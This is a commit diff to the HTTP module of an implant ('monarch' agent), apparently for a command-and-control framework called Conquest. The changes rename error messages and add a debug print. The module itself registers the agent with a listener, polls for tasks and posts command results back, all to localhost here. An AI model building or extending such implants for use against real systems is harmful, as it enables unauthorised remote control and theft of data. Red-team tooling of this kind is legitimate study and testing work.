Fix formatting for multi-line command output and delete tasks after completion.

agents/monarch/http.nim

@@ -26,7 +26,7 @@ proc register*(listener: string): string =
         # Register agent to the Conquest server
         return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
     except CatchableError as err:
-        echo "[-] [REGISTER FAILED]:", err.msg
+        echo "[-] [register]:", err.msg
         quit(0)
     finally:
         client.close()
@@ -42,7 +42,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
 
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
-        echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
+        echo "[-] [getTasks]:", err.msg
     finally:
         client.close()
 
@@ -57,12 +57,14 @@ proc postResults*(listener, agent: string, task: Task): bool =
     
     let taskJson = %task
 
+    echo $taskJson
+
     try:
         # Register agent to the Conquest server
         discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
-        echo "[-] [RESULTS FAILED]:", err.msg
+        echo "[-] [postResults]: ", err.msg
     finally:
         client.close()